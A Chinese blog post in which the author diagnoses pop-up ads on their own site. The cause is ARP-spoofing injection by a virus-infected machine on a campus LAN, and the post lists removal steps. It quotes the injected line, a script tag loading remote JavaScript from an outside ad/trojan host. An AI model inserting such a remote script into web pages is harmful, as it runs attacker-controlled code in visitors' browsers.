最近打开自己的网站都会有一个硕大的滚动广告条出现在博客右下角广告的样式是蓝色的QQ消息框形式 上面内容是送6位QQ 或者是一个超SB的移动火柴杆问题 或者是访QQ空间消息提示。显然是中毒现像,因为自己网站根本没有投放这类的广告。
我查看下页面带广告时候的源文件,问题发现了 第一行多了一句
<script src=http://v.nmbrx.com/1.js></script> 这就是广告木马调用的广告代码了!!开始以为自己机中毒了,但用NOD32查杀,却没有杀出毒来。显然,不是自己机的问题。搜索一下,最后证明了是自己所用局域网内有电脑中了磁碟机病毒,结合ARP攻击导致局域网内浏览网页时自动加载广告代码的!解决办法其实很简单,开启ARP防火墙,查找源头,找到IP对应主机,将源头的机杀毒就行了。先用磁碟机专杀工具:http://download.jiangmin.info/jmsoft/killvirus.rar 当然,360那个“顽固病毒专杀”也有查杀磁碟机病毒的,干掉磁碟机病毒后,再用好一点的杀毒软件对整机全盘杀毒就行了。
虽然知道了方法,但我还是没想打扰那台中毒电脑的机主。毕竟,我不想被人说我多管闲事,人家的机,杀不杀毒好像是人家的事。唯一能怪的,只能是自己了,谁叫自己要用这校园网?现在想想,要想不受攻击,只能是希望那台中毒的机不再开机,或者是等整个校园网都夸了,电脑特工队自然就会被领导督办此事的!我,就暂时忍忍吧